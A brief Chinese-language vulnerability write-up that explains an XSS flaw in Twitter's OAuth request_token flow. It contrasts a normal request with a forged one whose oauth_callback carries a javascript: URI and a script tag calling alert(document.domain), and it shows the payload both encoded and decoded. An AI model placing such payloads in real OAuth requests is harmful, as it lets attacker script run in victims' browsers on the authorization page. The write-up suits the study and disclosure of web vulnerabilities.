OAuth所引发的xss

OAuth所引发的xss

正文

正常请求示例：

POST https://api.twitter.com/oauth/request_tokenContent-Type: application/x-www-form-urlencodedoauth_callback=https%3A%2F%2Fexample.com%2Fcallback

用户授权后会被重定向到 https://example.com/callback

oauth_callback 是一个合法、安全的 HTTPS URL

攻击者伪造请求令牌请求：

POST https://api.twitter.com/oauth/request_tokenContent-Type: application/x-www-form-urlencodedoauth_callback=javascript%3A%2F%2F%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E

解码之后:

oauth_callback=javascript://" ><script>alert(document.domain)</script>

当用户点击“Authorize App”授权页面时，这段内容被嵌入 HTML 页面中并执行，从而弹出 alert(document.domain)。